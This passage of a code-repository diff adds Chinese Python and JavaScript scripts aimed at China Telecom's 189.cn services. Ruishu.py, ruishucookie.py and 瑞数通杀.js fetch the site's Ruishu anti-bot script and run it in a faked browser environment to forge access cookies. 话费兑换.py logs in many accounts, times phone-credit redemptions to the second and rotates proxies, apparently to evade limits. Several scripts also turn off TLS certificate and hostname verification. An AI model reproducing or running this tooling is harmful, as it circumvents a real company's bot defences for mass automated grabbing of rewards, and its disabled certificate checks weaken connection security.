||||
|
||||
rightsId = await getLevelRightsList(phone, session, accId)
|
||||
if rightsId:
|
||||
printn(f"{get_first_three(phone)} 找到rightsId了: {rightsId[0]} 🌟")
|
||||
else:
|
||||
print(f"{get_first_three(phone)} 💔 没找到rightsId呢...")
|
||||
return
|
||||
|
||||
if isTrue:
|
||||
runTime2 = run_Time(23, 59, 59) + 0.5
|
||||
difftime = runTime2 - time.time() - timeDiff
|
||||
printn(f"再等 {difftime:.2f} 秒就开始啦~ ⏳")
|
||||
await asyncio.sleep(difftime)
|
||||
else:
|
||||
# 测试模式:不等待,直接执行
|
||||
printn(f"测试模式,执行兑换测试~ 🧪")
|
||||
|
||||
await exchangeForDay(phone, session, run_num, rightsId[0], 0.05, accId)
|
||||
|
||||
|
||||
async def qgDay(phone, ticket, timeDiff, isTrue):
|
||||
async with AsyncSessionManager() as s:
|
||||
pass
|
||||
|
||||
|
||||
async def main(timeDiff, isTRUE, hour):
|
||||
print(LOGO)
|
||||
print(f"✨ 脚本启动中~ 准备开始兑换话费啦!✨\n")
|
||||
|
||||
tasks = []
|
||||
accounts = []
|
||||
for key, value in os.environ.items():
|
||||
if key == 'chinaTelecomAccount':
|
||||
accounts.extend(re.split(r'@|&',value))
|
||||
if not accounts:
|
||||
print(f"💔 错误: 没有设置 chinaTelecomAccount 环境变量哦~ 要写成 账号#密码 的格式呀 多账号用@分开~")
|
||||
return
|
||||
account_count = len(accounts)
|
||||
print(f"💖 发现 {len(accounts)} 个账号呢,准备开始处理啦~")
|
||||
|
||||
for phoneV in accounts:
|
||||
value = phoneV.split('#')
|
||||
if len(value) != 2:
|
||||
print(f"💔 跳过无效格式: {phoneV},要写成 账号#密码 哦 多账号用@分开~")
|
||||
continue
|
||||
|
||||
phone, password = value[0], value[1]
|
||||
if '等级话费' not in dhjl[yf]:
|
||||
dhjl[yf]['等级话费'] = ""
|
||||
if phone in dhjl[yf]['等级话费']:
|
||||
printn(f"{get_first_three(phone)} 的等级话费已经兑换过啦~ 不用再弄咯~ 💖")
|
||||
continue
|
||||
|
||||
printn(f'{get_first_three(phone)} 开始登录啦~ 🌸')
|
||||
ticket = userLoginNormal(phone, password)
|
||||
if ticket:
|
||||
printn(f'{get_first_three(phone)} 登录成功!太棒啦!🎉')
|
||||
if hour > 15:
|
||||
tasks.append(qgNight(phone, ticket, timeDiff, isTRUE))
|
||||
else:
|
||||
tasks.append(qgNight(phone, ticket, timeDiff, isTRUE))
|
||||
else:
|
||||
printn(f'{get_first_three(phone)} 登录失败了... 有点小伤心呢 💔')
|
||||
await asyncio.gather(*tasks)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
h = datetime.datetime.now().hour
|
||||
print(f"⏰ 当前时间是 {h} 点哦~")
|
||||
|
||||
if 10 > h > 0:
|
||||
print(f"☀️ 现在是 {h} 点,准备抢十点场次的话费啦~")
|
||||
wttime = run_Time(9, 59, 8) # 抢十点场次
|
||||
elif 14 >= h >= 10:
|
||||
print(f"☀️ 现在是 {h} 点,准备抢十四点场次的话费啦~")
|
||||
wttime = run_Time(13, 59, 8) # 抢十四点场次
|
||||
else:
|
||||
print(f"🌙 现在是 {h} 点,准备抢凌晨场次的话费啦~")
|
||||
wttime = run_Time(23, 57, 57) # 抢凌晨场次
|
||||
|
||||
isTRUE = True # 实际用的时候设为True,测试的时候可以设为False哦
|
||||
|
||||
if wttime > time.time():
|
||||
wTime = wttime - time.time()
|
||||
print(f"⏳ 还要等 {wTime:.2f} 秒才到时间呢~ 耐心等一下下哦~")
|
||||
if isTRUE:
|
||||
print(f"💡 小贴士: 记得先测试一下哦~ 要根据自己的网络调整参数呢~")
|
||||
print(f"💤 开始等待啦... 不要关掉窗口哦~")
|
||||
time.sleep(wTime)
|
||||
|
||||
timeValue = 0 # 时间获取
|
||||
timeDiff = timeValue if timeValue > 0 else 0
|
||||
|
||||
try:
|
||||
asyncio.run(main(timeDiff, isTRUE, h))
|
||||
except Exception as e:
|
||||
print(f"💔 脚本运行的时候出错了: {str(e)}")
|
||||
finally:
|
||||
print(f"\n💖 所有任务都完成啦~ 💖")
|
||||
255
电信/Ruishu.py
Normal file
255
电信/Ruishu.py
Normal file
@@ -0,0 +1,255 @@
|
||||
import os
|
||||
import ssl
|
||||
import time
|
||||
import json
|
||||
import execjs
|
||||
import base64
|
||||
import random
|
||||
import certifi
|
||||
import aiohttp
|
||||
import asyncio
|
||||
import requests
|
||||
from http import cookiejar
|
||||
from Crypto.Cipher import DES3
|
||||
from Crypto.Util.Padding import pad, unpad
|
||||
from aiohttp import ClientSession, TCPConnector
|
||||
import httpx
|
||||
httpx._config.DEFAULT_CIPHERS += ":ALL:@SECLEVEL=1"
|
||||
diffValue = 2
|
||||
filename='Cache.js'
|
||||
if os.path.exists(filename):
|
||||
with open(filename, 'r', encoding='utf-8') as file:
|
||||
fileContent = file.read()
|
||||
else:
|
||||
fileContent=''
|
||||
|
||||
class BlockAll(cookiejar.CookiePolicy):
|
||||
return_ok = set_ok = domain_return_ok = path_return_ok = lambda self, *args, **kwargs: False
|
||||
netscape = True
|
||||
rfc2965 = hide_cookie2 = False
|
||||
|
||||
def printn(m):
|
||||
print(f'\n{m}')
|
||||
|
||||
context = ssl.create_default_context()
|
||||
context.set_ciphers('DEFAULT@SECLEVEL=1') # 低安全级别0/1
|
||||
context.check_hostname = False # 禁用主机
|
||||
context.verify_mode = ssl.CERT_NONE # 禁用证书
|
||||
|
||||
class DESAdapter(requests.adapters.HTTPAdapter):
|
||||
def init_poolmanager(self, *args, **kwargs):
|
||||
kwargs['ssl_context'] = context
|
||||
return super().init_poolmanager(*args, **kwargs)
|
||||
|
||||
requests.DEFAULT_RETRIES = 0
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
ss = requests.session()
|
||||
ss.headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36", "Referer": "https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"}
|
||||
ss.mount('https://', DESAdapter())
|
||||
ss.cookies.set_policy(BlockAll())
|
||||
runTime = 0
|
||||
sleepTime = 1
|
||||
key = b'1234567`90koiuyhgtfrdews'
|
||||
iv = 8 * b'\0'
|
||||
|
||||
def encrypt(text):
|
||||
cipher = DES3.new(key, DES3.MODE_CBC, iv)
|
||||
ciphertext = cipher.encrypt(pad(text.encode(), DES3.block_size))
|
||||
return ciphertext.hex()
|
||||
|
||||
def decrypt(text):
|
||||
ciphertext = bytes.fromhex(text)
|
||||
cipher = DES3.new(key, DES3.MODE_CBC, iv)
|
||||
plaintext = unpad(cipher.decrypt(ciphertext), DES3.block_size)
|
||||
return plaintext.decode()
|
||||
|
||||
def initCookie(getUrl='https://wapact.189.cn:9001/gateway/standQuery/detailNew/exchange'):
|
||||
global js_code_ym, fileContent
|
||||
cookie = ''
|
||||
response = httpx.post(getUrl)
|
||||
content = response.text.split(' content="')[2].split('" r=')[0]
|
||||
code1 = response.text.split('$_ts=window')[1].split('</script><script type="text/javascript"')[0]
|
||||
code1Content = '$_ts=window' + code1
|
||||
Url = response.text.split('$_ts.lcd();</script><script type="text/javascript" charset="utf-8" src="')[1].split('" r=')[0]
|
||||
urls = getUrl.split('/')
|
||||
rsurl = urls[0] + '//' + urls[2] + Url
|
||||
filename = 'Cache.js'
|
||||
if fileContent == '':
|
||||
if not os.path.exists(filename):
|
||||
fileRes = httpx.get(rsurl)
|
||||
fileContent = fileRes.text
|
||||
if fileRes.status_code == 200:
|
||||
with open(filename, 'w', encoding='utf-8') as file:
|
||||
file.write(fileRes.text)
|
||||
else:
|
||||
print(f"Failed to download {rsurl}. Status code: {fileRes.status_code}")
|
||||
if response.headers['Set-Cookie']:
|
||||
cookie = response.headers['Set-Cookie'].split(';')[0].split('=')[1]
|
||||
runJs = js_code_ym.replace('content_code', content).replace("'ts_code'", code1Content + fileContent)
|
||||
execjsRun = RefererCookie(runJs)
|
||||
return {
|
||||
'cookie': cookie,
|
||||
'execjsRun': execjsRun
|
||||
}
|
||||
|
||||
def RefererCookie(runJs):
|
||||
try:
|
||||
execjsRun = execjs.compile(runJs)
|
||||
return execjsRun
|
||||
except execjs._exceptions.CompileError as e:
|
||||
print(f"JavaScript 编译错误: {e}")
|
||||
except execjs._exceptions.RuntimeError as e:
|
||||
print(f"JavaScript 运行时错误: {e}")
|
||||
except Exception as e:
|
||||
print(f"其他错误: {e}")
|
||||
|
||||
js_code_ym = '''delete __filename
|
||||
delete __dirname
|
||||
ActiveXObject = undefined
|
||||
|
||||
window = global;
|
||||
|
||||
content="content_code"
|
||||
|
||||
navigator = {"platform": "Linux aarch64"}
|
||||
navigator = {"userAgent": "CtClient;11.0.0;Android;13;22081212C;NTIyMTcw!#!MTUzNzY"}
|
||||
|
||||
location={
|
||||
"href": "https://",
|
||||
"origin": "",
|
||||
"protocol": "",
|
||||
"host": "",
|
||||
"hostname": "",
|
||||
"port": "",
|
||||
"pathname": "",
|
||||
"search": "",
|
||||
"hash": ""
|
||||
}
|
||||
|
||||
i = {length: 0}
|
||||
base = {length: 0}
|
||||
div = {
|
||||
getElementsByTagName: function (res) {
|
||||
console.log('div中的getElementsByTagName:', res)
|
||||
if (res === 'i') {
|
||||
return i
|
||||
}
|
||||
return '<div></div>'
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
script = {
|
||||
|
||||
}
|
||||
meta = [
|
||||
{charset:"UTF-8"},
|
||||
{
|
||||
content: content,
|
||||
getAttribute: function (res) {
|
||||
console.log('meta中的getAttribute:', res)
|
||||
if (res === 'r') {
|
||||
return 'm'
|
||||
}
|
||||
},
|
||||
parentNode: {
|
||||
removeChild: function (res) {
|
||||
console.log('meta中的removeChild:', res)
|
||||
|
||||
return content
|
||||
}
|
||||
},
|
||||
|
||||
}
|
||||
]
|
||||
form = '<form></form>'
|
||||
|
||||
window.addEventListener= function (res) {
|
||||
console.log('window中的addEventListener:', res)
|
||||
|
||||
}
|
||||
|
||||
document = {
|
||||
createElement: function (res) {
|
||||
console.log('document中的createElement:', res)
|
||||
|
||||
if (res === 'div') {
|
||||
return div
|
||||
} else if (res === 'form') {
|
||||
return form
|
||||
}
|
||||
else{return res}
|
||||
|
||||
|
||||
|
||||
|
||||
},
|
||||
addEventListener: function (res) {
|
||||
console.log('document中的addEventListener:', res)
|
||||
|
||||
},
|
||||
appendChild: function (res) {
|
||||
console.log('document中的appendChild:', res)
|
||||
return res
|
||||
},
|
||||
removeChild: function (res) {
|
||||
console.log('document中的removeChild:', res)
|
||||
},
|
||||
getElementsByTagName: function (res) {
|
||||
console.log('document中的getElementsByTagName:', res)
|
||||
if (res === 'script') {
|
||||
return script
|
||||
}
|
||||
if (res === 'meta') {
|
||||
return meta
|
||||
}
|
||||
if (res === 'base') {
|
||||
return base
|
||||
}
|
||||
},
|
||||
getElementById: function (res) {
|
||||
console.log('document中的getElementById:', res)
|
||||
if (res === 'root-hammerhead-shadow-ui') {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
setInterval = function () {}
|
||||
setTimeout = function () {}
|
||||
window.top = window
|
||||
|
||||
'ts_code'
|
||||
|
||||
function main() {
|
||||
cookie = document.cookie.split(';')[0]
|
||||
return cookie
|
||||
}'''
|
||||
|
||||
async def main(timeValue):
|
||||
global runTime, js_codeRead
|
||||
tasks = []
|
||||
|
||||
init_result = initCookie()
|
||||
if init_result:
|
||||
cookie = init_result['cookie']
|
||||
execjsRun = init_result['execjsRun']
|
||||
else:
|
||||
print("初始化 cookies 失败")
|
||||
return
|
||||
|
||||
runcookie = {
|
||||
'cookie': cookie,
|
||||
'execjsRun': execjsRun
|
||||
}
|
||||
|
||||
# 添加输出 cookies 的代码
|
||||
cookies = {
|
||||
'yiUIIlbdQT3fO': runcookie['cookie'],
|
||||
'yiUIIlbdQT3fP': runcookie['execjsRun'].call('main').split('=')[1]
|
||||
}
|
||||
print(json.dumps(cookies)) # 确保输出是 JSON 格式的
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main(0))
|
||||
205
电信/ruishucookie.py
Normal file
205
电信/ruishucookie.py
Normal file
@@ -0,0 +1,205 @@
|
||||
# ruishucookie.py
|
||||
import os
|
||||
import execjs
|
||||
import httpx
|
||||
httpx._config.DEFAULT_CIPHERS += ":ALL:@SECLEVEL=1"
|
||||
|
||||
|
||||
|
||||
filename = 'Cache.js'
|
||||
if os.path.exists(filename):
|
||||
with open(filename, 'r', encoding='utf-8') as file:
|
||||
fileContent = file.read()
|
||||
else:
|
||||
fileContent = ''
|
||||
|
||||
def initCookie(getUrl='https://wapact.189.cn:9001/gateway/standQuery/detailNew/exchange'):
|
||||
global js_code_ym, fileContent
|
||||
cookie = ''
|
||||
response = httpx.post(getUrl)
|
||||
content = response.text.split(' content="')[2].split('" r=')[0]
|
||||
code1 = response.text.split('$_ts=window')[1].split('</script><script type="text/javascript"')[0]
|
||||
code1Content = '$_ts=window' + code1
|
||||
Url = response.text.split('$_ts.lcd();</script><script type="text/javascript" charset="utf-8" src="')[1].split('" r=')[0]
|
||||
urls = getUrl.split('/')
|
||||
rsurl = urls[0] + '//' + urls[2] + Url
|
||||
filename = 'Cache.js'
|
||||
if fileContent == '':
|
||||
if not os.path.exists(filename):
|
||||
fileRes = httpx.get(rsurl)
|
||||
fileContent = fileRes.text
|
||||
if fileRes.status_code == 200:
|
||||
with open(filename, 'w', encoding='utf-8') as file:
|
||||
file.write(fileRes.text)
|
||||
else:
|
||||
print(f"Failed to download {rsurl}. Status code: {fileRes.status_code}")
|
||||
if response.headers['Set-Cookie']:
|
||||
cookie = response.headers['Set-Cookie'].split(';')[0].split('=')[1]
|
||||
runJs = js_code_ym.replace('content_code', content).replace("'ts_code'", code1Content + fileContent)
|
||||
execjsRun = RefererCookie(runJs)
|
||||
|
||||
# 将 cookies 转换为字符串格式
|
||||
cookies_str = f"yiUIIlbdQT3fO={cookie}; yiUIIlbdQT3fP={execjsRun.call('main').split('=')[1]}"
|
||||
return cookies_str
|
||||
|
||||
def RefererCookie(runJs):
|
||||
try:
|
||||
execjsRun = execjs.compile(runJs)
|
||||
return execjsRun
|
||||
except execjs._exceptions.CompileError as e:
|
||||
print(f"JavaScript 编译错误: {e}")
|
||||
except execjs._exceptions.RuntimeError as e:
|
||||
print(f"JavaScript 运行时错误: {e}")
|
||||
except Exception as e:
|
||||
print(f"其他错误: {e}")
|
||||
|
||||
js_code_ym = '''delete __filename
|
||||
delete __dirname
|
||||
ActiveXObject = undefined
|
||||
|
||||
window = global;
|
||||
|
||||
content="content_code"
|
||||
|
||||
navigator = {"platform": "Linux aarch64"}
|
||||
navigator = {"userAgent": "CtClient;11.0.0;Android;13;22081212C;NTIyMTcw!#!MTUzNzY"}
|
||||
|
||||
location={
|
||||
"href": "https://",
|
||||
"origin": "",
|
||||
"protocol": "",
|
||||
"host": "",
|
||||
"hostname": "",
|
||||
"port": "",
|
||||
"pathname": "",
|
||||
"search": "",
|
||||
"hash": ""
|
||||
}
|
||||
|
||||
i = {length: 0}
|
||||
base = {length: 0}
|
||||
div = {
|
||||
getElementsByTagName: function (res) {
|
||||
console.log('div中的getElementsByTagName:', res)
|
||||
if (res === 'i') {
|
||||
return i
|
||||
}
|
||||
return '<div></div>'
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
script = {
|
||||
|
||||
}
|
||||
meta = [
|
||||
{charset:"UTF-8"},
|
||||
{
|
||||
content: content,
|
||||
getAttribute: function (res) {
|
||||
console.log('meta中的getAttribute:', res)
|
||||
if (res === 'r') {
|
||||
return 'm'
|
||||
}
|
||||
},
|
||||
parentNode: {
|
||||
removeChild: function (res) {
|
||||
console.log('meta中的removeChild:', res)
|
||||
|
||||
return content
|
||||
}
|
||||
},
|
||||
|
||||
}
|
||||
]
|
||||
form = '<form></form>'
|
||||
|
||||
window.addEventListener= function (res) {
|
||||
console.log('window中的addEventListener:', res)
|
||||
|
||||
}
|
||||
|
||||
document = {
|
||||
createElement: function (res) {
|
||||
console.log('document中的createElement:', res)
|
||||
|
||||
if (res === 'div') {
|
||||
return div
|
||||
} else if (res === 'form') {
|
||||
return form
|
||||
}
|
||||
else{return res}
|
||||
|
||||
|
||||
|
||||
|
||||
},
|
||||
addEventListener: function (res) {
|
||||
console.log('document中的addEventListener:', res)
|
||||
|
||||
},
|
||||
appendChild: function (res) {
|
||||
console.log('document中的appendChild:', res)
|
||||
return res
|
||||
},
|
||||
removeChild: function (res) {
|
||||
console.log('document中的removeChild:', res)
|
||||
},
|
||||
getElementsByTagName: function (res) {
|
||||
console.log('document中的getElementsByTagName:', res)
|
||||
if (res === 'script') {
|
||||
return script
|
||||
}
|
||||
if (res === 'meta') {
|
||||
return meta
|
||||
}
|
||||
if (res === 'base') {
|
||||
return base
|
||||
}
|
||||
},
|
||||
getElementById: function (res) {
|
||||
console.log('document中的getElementById:', res)
|
||||
if (res === 'root-hammerhead-shadow-ui') {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
setInterval = function () {}
|
||||
setTimeout = function () {}
|
||||
window.top = window
|
||||
|
||||
'ts_code'
|
||||
|
||||
function main() {
|
||||
cookie = document.cookie.split(';')[0]
|
||||
return cookie
|
||||
}'''
|
||||
|
||||
async def main(timeValue):
|
||||
global runTime, js_codeRead
|
||||
tasks = []
|
||||
|
||||
init_result = initCookie()
|
||||
if init_result:
|
||||
cookie = init_result['cookie']
|
||||
execjsRun = init_result['execjsRun']
|
||||
else:
|
||||
print("初始化 cookies 失败")
|
||||
return
|
||||
|
||||
runcookie = {
|
||||
'cookie': cookie,
|
||||
'execjsRun': execjsRun
|
||||
}
|
||||
|
||||
# 添加输出 cookies 的代码
|
||||
cookies = {
|
||||
'yiUIIlbdQT3fO': runcookie['cookie'],
|
||||
'yiUIIlbdQT3fP': runcookie['execjsRun'].call('main').split('=')[1]
|
||||
}
|
||||
print(f"Cookies: {cookies}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main(0))
|
||||
139
电信/瑞数通杀.js
Normal file
139
电信/瑞数通杀.js
Normal file
@@ -0,0 +1,139 @@
|
||||
/*
|
||||
|
||||
const $ = new Env("瑞数通杀");
|
||||
|
||||
*/
|
||||
delete __filename
|
||||
delete __dirname
|
||||
ActiveXObject = undefined
|
||||
|
||||
window = global;
|
||||
|
||||
|
||||
content="content_code"
|
||||
|
||||
|
||||
navigator = {"platform": "Linux aarch64"}
|
||||
navigator = {"userAgent": "CtClient;11.0.0;Android;13;22081212C;NTIyMTcw!#!MTUzNzY"}
|
||||
|
||||
location={
|
||||
"href": "https://",
|
||||
"origin": "",
|
||||
"protocol": "",
|
||||
"host": "",
|
||||
"hostname": "",
|
||||
"port": "",
|
||||
"pathname": "",
|
||||
"search": "",
|
||||
"hash": ""
|
||||
}
|
||||
|
||||
i = {length: 0}
|
||||
base = {length: 0}
|
||||
div = {
|
||||
getElementsByTagName: function (res) {
|
||||
console.log('div中的getElementsByTagName:', res)
|
||||
if (res === 'i') {
|
||||
return i
|
||||
}
|
||||
return '<div></div>'
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
script = {
|
||||
|
||||
}
|
||||
meta = [
|
||||
{charset:"UTF-8"},
|
||||
{
|
||||
content: content,
|
||||
getAttribute: function (res) {
|
||||
console.log('meta中的getAttribute:', res)
|
||||
if (res === 'r') {
|
||||
return 'm'
|
||||
}
|
||||
},
|
||||
parentNode: {
|
||||
removeChild: function (res) {
|
||||
console.log('meta中的removeChild:', res)
|
||||
|
||||
return content
|
||||
}
|
||||
},
|
||||
|
||||
}
|
||||
]
|
||||
form = '<form></form>'
|
||||
|
||||
|
||||
window.addEventListener= function (res) {
|
||||
console.log('window中的addEventListener:', res)
|
||||
|
||||
}
|
||||
|
||||
|
||||
document = {
|
||||
|
||||
|
||||
createElement: function (res) {
|
||||
console.log('document中的createElement:', res)
|
||||
|
||||
|
||||
if (res === 'div') {
|
||||
return div
|
||||
} else if (res === 'form') {
|
||||
return form
|
||||
}
|
||||
else{return res}
|
||||
|
||||
|
||||
|
||||
|
||||
},
|
||||
addEventListener: function (res) {
|
||||
console.log('document中的addEventListener:', res)
|
||||
|
||||
},
|
||||
appendChild: function (res) {
|
||||
console.log('document中的appendChild:', res)
|
||||
return res
|
||||
},
|
||||
removeChild: function (res) {
|
||||
console.log('document中的removeChild:', res)
|
||||
},
|
||||
getElementsByTagName: function (res) {
|
||||
console.log('document中的getElementsByTagName:', res)
|
||||
if (res === 'script') {
|
||||
return script
|
||||
}
|
||||
if (res === 'meta') {
|
||||
return meta
|
||||
}
|
||||
if (res === 'base') {
|
||||
return base
|
||||
}
|
||||
},
|
||||
getElementById: function (res) {
|
||||
console.log('document中的getElementById:', res)
|
||||
if (res === 'root-hammerhead-shadow-ui') {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
setInterval = function () {}
|
||||
setTimeout = function () {}
|
||||
window.top = window
|
||||
|
||||
|
||||
'ts_code'
|
||||
|
||||
|
||||
|
||||
function main() {
|
||||
cookie = document.cookie.split(';')[0]
|
||||
return cookie
|
||||
}
|
||||
|
||||
2569
电信/电信营业厅.js
Normal file
2569
电信/电信营业厅.js
Normal file
File diff suppressed because it is too large
Load Diff
2569
电信/电信营业厅不带喂食.js
Normal file
2569
电信/电信营业厅不带喂食.js
Normal file
File diff suppressed because it is too large
Load Diff
688
电信/话费兑换.py
Normal file
688
电信/话费兑换.py
Normal file
@@ -0,0 +1,688 @@
|
||||
"""
|
||||
cron: 0 59 9,13 * * *
|
||||
new Env('电信金豆兑换话费');
|
||||
"""
|
||||
import subprocess
|
||||
import sys
|
||||
import asyncio
|
||||
import aiohttp
|
||||
import os
|
||||
import execjs
|
||||
import requests
|
||||
import re
|
||||
import time as time_module # 重命名导入以避免冲突
|
||||
import json
|
||||
import random
|
||||
import datetime
|
||||
import base64
|
||||
import ssl
|
||||
import certifi
|
||||
import traceback
|
||||
from Crypto.PublicKey import RSA
|
||||
from Crypto.Cipher import PKCS1_v1_5
|
||||
from Crypto.Cipher import DES3
|
||||
from Crypto.Util.Padding import pad, unpad
|
||||
from Crypto.Cipher import AES
|
||||
from http import cookiejar
|
||||
from requests.adapters import HTTPAdapter
|
||||
from requests.packages.urllib3.util.ssl_ import create_urllib3_context
|
||||
|
||||
|
||||
def get_network_time():
|
||||
"""从淘宝接口获取网络时间"""
|
||||
url = "https://acs.m.taobao.com/gw/mtop.common.getTimestamp/"
|
||||
try:
|
||||
response = requests.get(url)
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
if "data" in data and "t" in data["data"]:
|
||||
timestamp = int(data["data"]["t"])
|
||||
return datetime.datetime.fromtimestamp(timestamp / 1000)
|
||||
else:
|
||||
raise ValueError("接口返回数据格式错误")
|
||||
else:
|
||||
raise Exception(f"获取网络时间失败,状态码: {response.status_code}")
|
||||
except Exception as e:
|
||||
print(f"⏰{str(get_network_time())[11:22]} 🌸获取网络时间失败: {e}")
|
||||
return datetime.datetime.now()
|
||||
|
||||
|
||||
# 获取本地时间和网络时间
|
||||
local_time = datetime.datetime.now()
|
||||
network_time = get_network_time()
|
||||
|
||||
# 计算时间差
|
||||
time_diff = network_time - local_time
|
||||
|
||||
# 输出时间差,精确到微秒
|
||||
print(f"💖本地时间: {local_time.strftime('%Y-%m-%d %H:%M:%S.%f')}")
|
||||
print(f"💖网络时间: {network_time.strftime('%Y-%m-%d %H:%M:%S.%f')}")
|
||||
print(f"💖时间差: {time_diff.total_seconds():.6f} 秒")
|
||||
|
||||
# 默认兑换策略
|
||||
MEXZ = os.getenv("MEXZ")
|
||||
|
||||
# 定义时间段
|
||||
morning_start = datetime.time(9, 30, 3)
|
||||
morning_end = datetime.time(10, 10, 30)
|
||||
afternoon_start = datetime.time(13, 30, 3)
|
||||
afternoon_end = datetime.time(14, 10, 30)
|
||||
|
||||
# 获取当前时间
|
||||
now = get_network_time().time()
|
||||
|
||||
# 判断当前时间是否在指定的时间段内
|
||||
if (morning_start <= now <= morning_end) or (afternoon_start <= now <= afternoon_end):
|
||||
if not MEXZ:
|
||||
MEXZ = "0.5,5,6;1,10,3"
|
||||
else:
|
||||
MEXZ = "0.5,5,6;1,10,3"
|
||||
|
||||
# 解析 MEXZ 配置
|
||||
morning_exchanges, afternoon_exchanges = MEXZ.split(';')
|
||||
morning_exchanges = [f"{x}元话费" for x in morning_exchanges.split(',')]
|
||||
afternoon_exchanges = [f"{x}元话费" for x in afternoon_exchanges.split(',')]
|
||||
|
||||
|
||||
# 从环境变量中获取代理池地址
|
||||
DY_PROXY = os.getenv("DY_PROXY123")
|
||||
|
||||
# 新增:从环境变量获取外层循环次数,默认20次
|
||||
OUTER_LOOP_COUNT = int(os.getenv("OUTER_LOOP_COUNT", "20"))
|
||||
|
||||
INNER_LOOP_COUNT = int(os.getenv("INNER_LOOP_COUNT", "10"))
|
||||
|
||||
|
||||
async def get_proxy_from_pool():
|
||||
"""从代理池获取代理IP"""
|
||||
if not DY_PROXY:
|
||||
raise ValueError("DY_PROXY 环境变量未设置")
|
||||
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(DY_PROXY) as response:
|
||||
if response.status != 200:
|
||||
raise Exception(f"从代理池获取代理IP失败,状态码: {response.status}")
|
||||
proxy_ip = await response.text()
|
||||
return proxy_ip.strip()
|
||||
|
||||
|
||||
class BlockAll(cookiejar.CookiePolicy):
|
||||
return_ok = set_ok = domain_return_ok = path_return_ok = lambda self, *args, **kwargs: False
|
||||
netscape = True
|
||||
rfc2965 = hide_cookie2 = False
|
||||
|
||||
|
||||
def printn(m):
|
||||
print(f'\n{m}')
|
||||
|
||||
def print_time_log(m):
|
||||
print(f'⏰{str(get_network_time())[11:22]} 🌸{m}')
|
||||
|
||||
|
||||
ORIGIN_CIPHERS = ('DEFAULT@SECLEVEL=1')
|
||||
|
||||
|
||||
class DESAdapter(HTTPAdapter):
|
||||
def __init__(self, *args, **kwargs):
|
||||
CIPHERS = ORIGIN_CIPHERS.split(':')
|
||||
random.shuffle(CIPHERS)
|
||||
CIPHERS = ':'.join(CIPHERS)
|
||||
self.CIPHERS = CIPHERS + ':!aNULL:!eNULL:!MD5'
|
||||
super().__init__(*args, **kwargs)
|
||||
|
||||
def init_poolmanager(self, *args, **kwargs):
|
||||
context = create_urllib3_context(ciphers=self.CIPHERS)
|
||||
context.check_hostname = False
|
||||
kwargs['ssl_context'] = context
|
||||
return super(DESAdapter, self).init_poolmanager(*args, **kwargs)
|
||||
|
||||
def proxy_manager_for(self, *args, **kwargs):
|
||||
context = create_urllib3_context(ciphers=self.CIPHERS)
|
||||
context.check_hostname = False
|
||||
kwargs['ssl_context'] = context
|
||||
return super(DESAdapter, self).proxy_manager_for(*args, **kwargs)
|
||||
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.set_ciphers("DEFAULT@SECLEVEL=1")
|
||||
ss = requests.session()
|
||||
ss.verify = certifi.where()
|
||||
ss.headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36",
|
||||
"Referer": "https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"
|
||||
}
|
||||
ss.mount('https://', DESAdapter())
|
||||
ss.cookies.set_policy(BlockAll())
|
||||
yc = 1
|
||||
wt = 0
|
||||
kswt = 0.1
|
||||
yf = get_network_time().strftime("%Y%m")
|
||||
ip_list = []
|
||||
jp = {"9": {}, "13": {}}
|
||||
try:
|
||||
with open('电信金豆换话费.log') as fr:
|
||||
dhjl = json.load(fr)
|
||||
except:
|
||||
dhjl = {}
|
||||
if yf not in dhjl:
|
||||
dhjl[yf] = {}
|
||||
else:
|
||||
# 将现有字符串记录转换为集合(仅首次加载时执行)
|
||||
for di in dhjl[yf]:
|
||||
if isinstance(dhjl[yf][di], str):
|
||||
# 拆分字符串为列表,去重后转为集合
|
||||
phone_list = dhjl[yf][di].strip('#').split('#') if dhjl[yf][di] else []
|
||||
dhjl[yf][di] = set(phone_list)
|
||||
load_token_file = 'chinaTelecom_cache.json'
|
||||
try:
|
||||
with open(load_token_file, 'r') as f:
|
||||
load_token = json.load(f)
|
||||
except:
|
||||
load_token = {}
|
||||
|
||||
errcode = {
|
||||
"0": "兑换成功✨",
|
||||
"412": "兑换次数已达上限💔",
|
||||
"413": "商品已兑完💨",
|
||||
"420": "未知错误😥",
|
||||
"410": "该活动未开始⏳",
|
||||
"501": "服务器处理错误💻",
|
||||
"Y0001": "当前等级不足,去升级兑当前话费📈",
|
||||
"Y0002": "使用翼相连网络600分钟可兑换此奖品📶",
|
||||
"Y0003": "共享流量400M可兑换此奖品💧",
|
||||
"Y0004": "共享流量2GB可兑换此奖品💧",
|
||||
"Y0005": "当前等级不足,去升级兑当前话费📈",
|
||||
"E0001": "您的网龄不足10年,暂不能兑换⏳"
|
||||
}
|
||||
|
||||
key = b'1234567`90koiuyhgtfrdews'
|
||||
iv = 8 * b'\0'
|
||||
|
||||
public_key_b64 = '''-----BEGIN PUBLIC KEY-----
|
||||
